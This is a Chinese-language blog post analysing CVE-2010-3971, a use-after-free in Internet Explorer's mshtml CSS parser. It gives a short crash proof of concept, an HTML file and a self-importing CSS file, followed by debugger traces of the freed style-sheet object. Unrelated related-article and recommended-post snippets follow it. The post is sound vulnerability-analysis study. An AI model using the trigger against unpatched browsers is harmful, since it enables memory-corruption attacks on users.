看了仙果版主的议题演讲,其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑。于是找来POC,尝试分析一下。

1.漏洞重现

XP SP3+ie6.0环境

poc如下:

poc.htm

<div style="position: absolute; top: -999px;left: -999px;">
<link href="css.css" rel="stylesheet" type="text/css" />

css.css

*{
color:red;
}
@import url("css.css");
@import url("css.css");
@import url("css.css");
@import url("css.css");

2.漏洞分析

首先来看漏洞的相关信息

可见是一个UAF漏洞。

用调试器加载POC,调试器断在异常处。用IDA加载mshtml.dll文件,异常位置如图红色部分

注意在这个函数里我们可以看到ecx寄存器未经任何处理就直接拿来使用,说明这是thiscall函数调用。而ecx也就是对象的this指针。

异常是由cmp dword ptr [ecx+14h],1 触发的,其中ecx地址不可读

而ecx的值由edi指定的。再往上看edi又是由[ecx+0b8h]得到的。

绕了这么一大圈,我们可以猜到:

ecx是this指针,edi是对象中的一个指针成员。

而由于UAF漏洞导致这个对象被释放了,所以对象中的数据已经不可靠了,所以这个指针就是个野指针了,所以就会产生异常了。

最近学到了UAF漏洞的要点是搞清楚三点:1.对象何时何处被分配? 2.对象何时何处被释放? 3.对象何时何处被重用?

这里触发异常明显就是因为被重用了。那么前两点的答案呢?我们继续分析。

我们理一理思路,考虑一下。此时这个函数发生异常,说明对象已经被释放了,说明释放操作就发生在当前步骤之前,就是说我们可以通过回溯找到释放的操作。

事实的结果是回溯不到那个释放的函数。说明我这个想法并不能成功,于是通过分析该对象(CStyleSheet)的方法来找出释放的位置。

因为我们知道要想释放这个对象肯定要使用这个对象自己的提供的方法,那么就可以通过对释放的方法下断点来实现。

重新分析这个漏洞,win7 x86 +ie8环境。加载poc,程序崩溃。挂载windbg,启用ust,开启子进程调试,发现异常信息如下。

:> r
eax= ebx=17ef8f90 ecx=7770316f edx= esi= edi=1817cff0
eip=678b610d esp=045ed620 ebp=045ed62c iopl= nv up ei pl nz na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CSharedStyleSheet::Notify+0x1b:
678b610d 8b0f mov ecx,dword ptr [edi] ds::1817cff0=????????

看一下edi的来源问题,如下所示。可见edi来自于ecx+0xd8。又由于这是CSharedStyleSheet对象的一个方法函数,根据调用约定我们就可以知道,这个ecx就是对象的this指针。

:> ub 678b610d
mshtml!CSharedStyleSheet::Notify+0x6:
678b60f6 push esi
678b60f7 8bb1d0000000 mov esi,dword ptr [ecx+0D0h]
678b60fd push edi
678b60fe 8bb9d8000000 mov edi,dword ptr [ecx+0D8h]
678b6104 33c0 xor eax,eax
678b6106 c1ee02 shr esi,
678b6109 85f6 test esi,esi
678b610b 7e12 jle mshtml!CSharedStyleSheet::Notify+0x37 (678b611f)

为此,猜测edi是ecx对象的一个成员

:> dc ecx
7770316f 900008c2 8508458b c6850fc0 .........E......
7770317f 8000034b 7400e67d ccb7ff0b e8000000 K...}..t........
7770318f ffff39ad 8c5d89c3 850fc085 fffffe26 .....].....&...
7770319f 870fda3b fffffe16 04b04583 8bb0458b ;........E...E..
777031af e1eb4300 00b06890 d8680000 .C.......h....h.
777031bf e8777008 ffff39f1 8bc45589 e05d89d9 .pw.....U....].
777031cf 8941c933 45c6bc4d ff3300df 89d07d89 .A.M..E....}..
777031df 7d89d87d 907d89a8 0f60c2f7 850f7d01 }..}..}...`..}..

为了验证我们的猜想我们来看一下分配记录,由分配的记录来看我们可以这个是CSharedStyleSheet对象,其实作为CSharedStyleSheet::Notify的this指针传进来的也只能是CSharedStyleSheet对象。

:> !heap -p -a ecx
address 17590f08 found in
_DPH_HEAP_ROOT @
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
178624ac: 17590f08 f8 -
mshtml!CSharedStyleSheet::`vftable'
77888e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77774ea6 ntdll!RtlDebugAllocateHeap+0x00000030
77737d96 ntdll!RtlpAllocateHeap+0x000000c4
777034ca ntdll!RtlAllocateHeap+0x0000023a
685144dc mshtml!CSharedStyleSheet::Create+0x00000023
68513eaa mshtml!CStyleSheetArray::CreateNewStyleSheet+0x00000054
685266a7 mshtml!CLinkElement::HandleLinkedObjects+0x0000032f
68526576 mshtml!CLinkElement::Notify+0x0000011a
6850780a mshtml!CHtmRootParseCtx::FlushNotifications+0x000001bf
68506bb5 mshtml!CHtmRootParseCtx::Commit+0x0000000a
684f77cf mshtml!CHtmPost::Broadcast+0x0000000f
684f7924 mshtml!CHtmPost::Exec+0x00000255
684f8a99 mshtml!CHtmPost::Run+0x00000015
684f89fd mshtml!PostManExecute+0x000001fb
684f7c66 mshtml!PostManResume+0x000000f7
685113f6 mshtml!CHtmPost::OnDwnChanCallback+0x00000010
684f53fc mshtml!CDwnChan::OnMethodCall+0x00000019
685994b2 mshtml!GlobalWndOnMethodCall+0x000000ff
685837f7 mshtml!GlobalWndProc+0x0000010c
774286ef USER32!InternalCallWinProc+0x00000023
77428876 USER32!UserCallWinProcCheckWow+0x0000014b
774289b5 USER32!DispatchMessageWorker+0x0000035e
77428e9c USER32!DispatchMessageW+0x0000000f
6b9104a6 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000452
6b920446 IEFRAME!LCIETab_ThreadProc+0x000002c1
76b749bd iertutil!CIsoScope::RegisterThread+0x000000ab
768b1174 kernel32!BaseThreadInitThunk+0x0000000e
7770b3f5 ntdll!__RtlUserThreadStart+0x00000070
7770b3c8 ntdll!_RtlUserThreadStart+0x0000001b

edi的内存是不可访的,如下所示

:> ? edi
Evaluate expression: = 1817cff0
:> dc edi
1817cff0 ???????? ???????? ???????? ???????? ????????????????
1817d000 ???????? ???????? ???????? ???????? ????????????????
1817d010 ???????? ???????? ???????? ???????? ????????????????
1817d020 ???????? ???????? ???????? ???????? ????????????????
1817d030 ???????? ???????? ???????? ???????? ????????????????
1817d040 ???????? ???????? ???????? ???????? ????????????????
1817d050 ???????? ???????? ???????? ???????? ????????????????
1817d060 ???????? ???????? ???????? ???????? ????????????????
:> !address edi
ProcessParametrs in range 0005a000
Environment 000577b0 in range
: 1817c000 -
Type MEM_PRIVATE
Protect PAGE_NOACCESS
State MEM_COMMIT
Usage RegionUsageIsVAD

到这里其实有点迷茫,因为edi的内存属性不是未分配的,而是已经VAD分配的,但是却没有访问权限。那么看下是不是已释放导致的没有访问权限,也就是启用堆调试才会有的东西。
尝试!heap -p -a一下看看。如下,果然是已经释放的堆内存。

:> !heap -p -a edi
address 1817cff0 found in
_DPH_HEAP_ROOT @
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
17e4298c: 1817c000 0b2 verifier!AVrfDebugPageHeapFree+0x000000c2
ntdll!RtlDebugFreeHeap+0x0000002f
77737aca ntdll!RtlpFreeHeap+0x0000005d
77702d68 ntdll!RtlFreeHeap+0x00000142
76ef3cab ole32!MIDL_user_free+0x00000016
75ad0224 RPCRT4!NdrFreeTypeMemory+0x00000046
75abf26b RPCRT4!NdrPointerFree+0x000000a8
75b34e9e RPCRT4!NdrpFreeParams+0x00000145
75b34949 RPCRT4!NdrpCompleteAsyncServerCall+0x00000145
75b35494 RPCRT4!Ndr64pCompleteAsyncCall+0x00000084
75b35422 RPCRT4!RpcAsyncCompleteCall+0x0000001f
76ea21af ole32!_UpdateResolverBindings+0x00000052
75acfc8f RPCRT4!Invoke+0x0000002a
75b347ea RPCRT4!NdrAsyncServerCall+0x000001e4
75acf34a RPCRT4!DispatchToStubInCNoAvrf+0x0000004a
75b0fb70 RPCRT4!DispatchToStubInCAvrf+0x00000016
75acf4da RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x0000016c
75acf3c6 RPCRT4!RPC_INTERFACE::DispatchToStub+0x0000008b
75ac3974 RPCRT4!LRPC_SCALL::DispatchRequest+0x00000257
75acf7a4 RPCRT4!LRPC_SCALL::QueueOrDispatchCall+0x000000bd
75acf763 RPCRT4!LRPC_SCALL::HandleRequest+0x0000034f
75acf5ff RPCRT4!LRPC_SASSOCIATION::HandleRequest+0x00000144
75acf573 RPCRT4!LRPC_ADDRESS::HandleRequest+0x000000bd
75acee4f RPCRT4!LRPC_ADDRESS::ProcessIO+0x0000050a
75acece7 RPCRT4!LrpcServerIoHandler+0x00000016
75ad1357 RPCRT4!LrpcIoComplete+0x00000016
776dd3a3 ntdll!TppAlpcpExecuteCallback+0x000001c5
776e0748 ntdll!TppWorkerThread+0x000005a4
768b1174 kernel32!BaseThreadInitThunk+0x0000000e
7770b3f5 ntdll!__RtlUserThreadStart+0x00000070
7770b3c8 ntdll!_RtlUserThreadStart+0x0000001b

附此漏洞的有关信息:

1.http://www.topsec.com.cn/aqtb/yjcg/ldyj/967.htm 天融信的分析报告

2.http://cve.scap.org.cn/cve-2010-3971.html SCAP的收录

CVE-2010-3971 CSS内存破坏漏洞分析的更多相关文章

  1. PHP Fileinfo组件越界内存破坏漏洞

    漏洞版本: PHP PHP 5.x 漏洞描述: BUGTRAQ ID: 66002 CVE(CAN) ID: CVE-2014-2270 PHP是一种HTML内嵌式的语言. PHP的file程序在解析 ...

  2. CVE-2013-3346Adobe Reader和Acrobat 内存损坏漏洞分析

    [CNNVD]Adobe Reader和Acrobat 内存损坏漏洞(CNNVD-201308-479) Adobe Reader和Acrobat都是美国奥多比(Adobe)公司的产品.Adobe R ...

  3. Microsoft Internet Explorer内存破坏漏洞(CVE-2013-5052)

    漏洞版本: Microsoft Internet Explorer 6-11 漏洞描述: BUGTRAQ ID: 64126 CVE(CAN) ID: CVE-2013-5052 Internet E ...

  4. Microsoft Internet Explorer 内存破坏漏洞(CVE-2013-3193)(MS13-059)

    漏洞版本: Microsoft Internet Explorer 6 - 10 漏洞描述: BUGTRAQ ID: 61678 CVE(CAN) ID: CVE-2013-3193 Windows ...

  5. CVE-2010-3974 Microsoft Windows多个平台Fax Cover Page Editor内存破坏漏洞

    Microsoft Windows Fax Cover Pages用于个性化传真以及呈现更正式外观的传真传输.         Microsoft Windows XP SP2和SP3,Windows ...

  6. Linux 内核 UFO-非UFO 路径切换内存破坏漏洞的 PoC(CVE-2017-1000112)

    // A proof-of-concept local root exploit for CVE-2017-1000112. // Includes KASLR and SMEP bypasses. ...

  7. CVE-2010-0249 IE8 UAF漏洞分析

    CVE-2010-0249 [CNNVD]Microsoft Internet Explorer非法事件操作内存破坏漏洞(CNNVD-201001-153) Microsoft Internet Ex ...

  8. Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现

    0x00  漏洞描述 漏洞公告显示,SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码.攻击者利用该漏洞无须权限即可实现远 ...

  9. CVE-2012-0003 Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞 分析

    [CNNVD]Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞(CNNVD-201201-110)    Microsoft Wi ...

随机推荐

  1. jqury中关于ajax的几个常用的函数

    一: AJAX 是一种在无需重新加载整个网页的情况下,能够更新部分网页的技术. 什么是 AJAX ? AJAX = 异步 JavaScript 和 XML. AJAX 是一种用于创建快速动态网页的技术 ...

  2. 【CF Gym100228】Graph of Inversions

    Portal --> qwq(貌似是CodeForces Gym 100228 (ECNA2003) - I) Description 对于长度为 \(n\) 的序列 \(A\) ,定义其逆序图 ...

  3. 《剑指offer》— JavaScript(12)数值的整数次方

    数值的整数次方 题目描述 给定一个double类型的浮点数base和int类型的整数exponent.求base的exponent次方. 思路一 考察指数的正负以及底数是否为零的几种情形: 将指数转换 ...

  4. Oracle 解决【ORA-01704:字符串文字太长】(转)

    错误提示:oracle在toad中执行一段sql语句时,出现错误‘ORA-01704:字符串文字太长’.如下图: 原因:一般为包含有对CLOB字段的数据操作.如果CLOB字段的内容非常大的时候,会导致 ...

  5. .Net并行编程系列之一:并行基础

    现在普通PC平台上面多核处理器的普及,让我们领教了能够利用多核进行并行计算的软件的处理能力,同时继承更多地核心正是当前处理器发展的趋势. 但是作为一个.NET开发人员,是否有时候会发现你的程序占用了其 ...

  6. go defer注意点,很容易出错的!!!

    1:defer是在return之前执行的  函数返回的过程是这样的:先给返回值赋值,然后调用defer表达式,最后才是返回到调用函数中 返回值 = xxx 调用defer函数 空的return fun ...

  7. JAVA多线程提高十:同步工具CyclicBarrier与CountDownLatch

    今天继续学习其它的同步工具:CyclicBarrier与CountDownLatch 一.CyclicBarrier CyclicBarrier是一个同步辅助类,它允许一组线程互相等待,直到到达某个公 ...

  8. System中关于Property的方法

    System类在java.lang包中,所有方法都是静态的,里边有很多对系统的属性和控制方法 System类有三个成员变量:out-标准输出流(默认是控制台),in-标准输入流(默认是键盘),err- ...

  9. Java 中的几种线程池这么用才是对的

    为什么要使用线程池 虽然大家应该都已经很清楚了,但还是说一下.其实归根结底最主要的一个原因就是为了提高性能. 线程池和数据库连接池是同样的道理,数据库连接池是为了减少连接建立和释放带来的性能开销.而线 ...

  10. Linux下命令lrzsz

    lrzsz是什么 在使用Linux的过程中,难免少不了需要上传下载文件,比如往服务器上传一些war包之类的,之前都是使用winSCP,lrzsz是一个更方便的命令,可以直接在Linux中输入命令,弹出 ...